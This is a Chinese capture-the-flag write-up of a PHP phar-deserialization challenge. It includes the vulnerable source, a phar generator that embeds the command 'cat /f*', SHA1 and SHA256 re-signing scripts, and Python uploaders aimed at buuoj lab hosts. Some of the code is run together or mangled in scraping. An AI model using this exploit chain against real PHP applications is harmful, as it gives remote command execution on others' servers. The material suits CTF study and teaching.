WEEK5|WEB Unserialize Again

进入后是一个文件上传但是这里并没有漏洞点
image

看cookie

image

得到源码

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 多吃雪梨

先找利用点

system($this->eating);

这一题很明显没有serialize、unserialize
但是我们又要利用反序列化
很明显这一题是phar的反序列化

我们要注意
利用file_exists($Adam);反序列化时我们要绕过__wakeup()

先进行生成.phar文件

<?php
class story{
    public $eating = 'cat /f*';  //赋值要执行的命令
    public $God='true';  //满足if条件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("a.txt", "666");  //添加要压缩的文件
$phar->stopBuffering();

接下来我们修改序列化内容的属性数值以此来绕过__wakeup()

image
如果你用010打开不是这个效果
image

这个地方改为十六进制即可

改完属性值我们的文件签名就废了
需要重新签名

算法
Phar 文件的签名算法有几种可选的类型,每种类型都有不同的安全特性和应用场景。你可以根据具体需求选择合适的签名算法。Phar 提供的签名算法包括:

Phar::MD5: 基本的哈希算法,不推荐用于安全敏感的应用,因为 MD5 已被证明不够安全。
Phar::SHA1: 较 MD5 更安全的哈希算法,但在高安全性需求的场景中也已不再推荐使用。
Phar::SHA256: 更加安全的哈希算法,适合大多数应用场景。
Phar::SHA512: 高安全性的哈希算法,适合需要最高安全性的场景。
Phar::OPENSSL: 使用 OpenSSL 库进行签名,支持多种加密算法,可以提供最高的安全性,但需要额外的配置和依赖。
如何判断签名算法是什么我是真不知道 下面是偷的脚本 ``` sha1 from hashlib import sha1 with open('1.phar', 'rb') as file: f = file.read() #打开名为1.phar的文件,以二进制只读模式读取文件内容,并将其存储到变量f中 s = f[:-28] # 获取要签名的数据(s) h = f[-8:] # 获取签名类型和GBMB标识(h) newf = s + sha1(s).digest() + h # 对要签名的数据进行SHA-1哈希计算,并将原始数据、签名和类型/标识拼接成新的数据newf with open('newtest.phar', 'wb') as file: file.write(newf) ``` ``` SHA256 from hashlib import sha256 with open("hacker1.phar",'rb') as f: text=f.read() main=text[:-40] #正文部分(除去最后40字节) end=text[-8:] #最后八位也是不变的 new_sign=sha256(main).digest() new_phar=main+new_sign+end open("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件 ``` 脚本上传 ``` import urllib.parse import os import re import requests

url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'
pattern = r'flag{.+?}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}

with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)


from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag{.+?}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替换为题目靶机地址params={
'pear':'1.phar',
'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)

os.remove('newtest.phar')

脚本来源
[1](https://blog.csdn.net/m0_73512445/article/details/133694293 "1")
[2](https://blog.csdn.net/2301_76690905/article/details/134315263 "2")
posted @ 2024-08-02 14:34  DGhh  阅读(3)  评论(0编辑  收藏  举报